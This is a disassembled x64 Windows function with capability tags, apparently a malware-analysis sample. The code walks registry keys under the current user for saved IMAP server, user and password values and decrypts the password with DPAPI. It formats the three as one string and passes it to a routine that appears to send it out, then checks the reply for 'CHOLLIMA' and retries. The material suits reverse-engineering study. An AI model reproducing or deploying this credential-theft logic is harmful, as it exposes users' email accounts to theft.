Function at 0x140001540
Capabilities:
Encrypt data using dpapi
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push rbp
push r15
lea rbp, [rsp - 0xa28]
sub rsp, 0xb28
mov r15, rcx
lea rax, [rsp + 0x68]
mov rdx, rcx
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000001
mov r9d, 0x20019
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001a13
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0xa58]
mov qword [rsp + 0xb08], r12
xor r9d, r9d
xor r12d, r12d
xor r8d, r8d
mov qword [rsp + 0x58], r12
xor edx, edx
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
je 0x1400015f0
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r12, qword [rsp + 0xb08]
add rsp, 0xb28
pop r15
pop rbp
ret
mov qword [rsp + 0xb20], rbx
mov ecx, 0x400
mov qword [rsp + 0xb18], rsi
mov qword [rsp + 0xb10], rdi
mov qword [rsp + 0xb00], r14
call fcn.14000636c
lea rdx, [0x140018a08]
mov rcx, rax
mov rsi, rax
mov r14d, 2
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, r12d
cmp dword [rbp + 0xa58], r12d
jbe 0x14000199a
nop dword [rax]
nop word [rax + rax]
xor edx, edx
lea rcx, [rbp + 0x4f0]
mov r8d, 0x104
call fcn.14000fdf0
mov rcx, qword [rsp + 0x68]
lea r9, [rsp + 0x70]
mov qword [rsp + 0x38], r12
lea r8, [rbp + 0x4f0]
mov qword [rsp + 0x30], r12
mov edx, edi
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
mov dword [rsp + 0x70], 0x104
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x14000198c
xor edx, edx
lea rcx, [rbp + 0xb0]
mov r8d, 0x104
call fcn.14000fdf0
mov rdx, r15
lea rcx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rax, [rsp + 0x60]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0xb0]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400019eb
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0xa50]
mov qword [rsp + 0x58], r12
xor r9d, r9d
mov qword [rsp + 0x50], r12
xor r8d, r8d
mov qword [rsp + 0x48], r12
xor edx, edx
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
jne 0x140001981
xor edx, edx
lea rcx, [rbp + 0x3e0]
mov r8d, 0x104
call fcn.14000fdf0
xor edx, edx
lea rcx, [rbp + 0x1c0]
mov r8d, 0x104
call fcn.14000fdf0
xor edx, edx
lea rcx, [rbp + 0x2d0]
mov r8d, 0x104
call fcn.14000fdf0
mov ebx, r12d
cmp dword [rbp + 0xa50], ebx
jbe 0x140001924
nop dword [rax]
xor edx, edx
lea rcx, [rbp - 0x60]
mov r8d, 0x104
call fcn.14000fdf0
xor edx, edx
mov dword [rsp + 0x74], 0x104
mov r8d, 0x400
lea rcx, [rbp + 0x600]
call fcn.14000fdf0
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0xa48]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x74]
lea rax, [rbp + 0x600]
mov dword [rbp + 0xa48], 0x400
mov qword [rsp + 0x30], rax
lea r8, [rbp - 0x60]
lea rax, [rbp - 0x78]
mov edx, ebx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x140001916
lea rdx, str.IMAP_Server
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x140001849
lea rdx, [rbp + 0x600]
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x140001916
lea rdx, str.IMAP_User
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x140001877
lea rdx, [rbp + 0x600]
lea rcx, [rbp + 0x2d0]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x140001916
lea rdx, str.IMAP_Password
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x140001916
mov eax, dword [rbp + 0xa48]
lea rcx, [rbp - 0x70]
dec eax
mov dword [rbp - 0x6c], r12d
mov dword [rbp - 0x70], eax
xorps xmm0, xmm0
lea rax, [rbp + 0x601]
xor r9d, r9d
mov qword [rbp - 0x68], rax
xor r8d, r8d
lea rax, [rsp + 0x78]
xor edx, edx
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r12
movups xmmword [rsp + 0x78], xmm0
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov r9d, dword [rsp + 0x78]
lea rax, [rbp + 0x1c0]
mov r8, qword [rbp - 0x80]
xor edx, edx
mov qword [rsp + 0x38], r12
xor ecx, ecx
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_LocalFree]
inc ebx
cmp ebx, dword [rbp + 0xa50]
jb 0x1400017a0
cmp byte [rbp + 0x3e0], r12b
je 0x140001981
cmp byte [rbp + 0x1c0], r12b
je 0x140001981
cmp byte [rbp + 0x2d0], r12b
je 0x140001981
lea rax, [rbp + 0x1c0]
mov ecx, r14d
add rcx, rsi
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x2d0]
lea r8, [rbp + 0x3e0]
lea rdx, str._s__s__s_n
call qword [sym.imp.USER32.dll_wsprintfA]
add r14d, eax
mov rcx, rsi
lea edx, [r14 + 0x400]
call fcn.140006350
mov rsi, rax
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc edi
cmp edi, dword [rbp + 0xa58]
jb 0x140001650
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [rsi + 2], r12b
je 0x1400019e3
nop dword [rax + rax]
lea r8, [rbp + 0xa48]
mov dword [rbp + 0xa48], r12d
mov edx, r14d
mov rcx, rsi
call fcn.140001090
test rax, rax
je 0x140001a1e
lea rdx, str.CHOLLIMA
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_StrStrA]
test rax, rax
je 0x1400019b0
mov rcx, rsi
call fcn.140006358
mov rbx, qword [rsp + 0xb20]
mov rdi, qword [rsp + 0xb10]
mov rsi, qword [rsp + 0xb18]
mov r14, qword [rsp + 0xb00]
mov r12, qword [rsp + 0xb08]
add rsp, 0xb28
pop r15
pop rbp
ret
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400019b0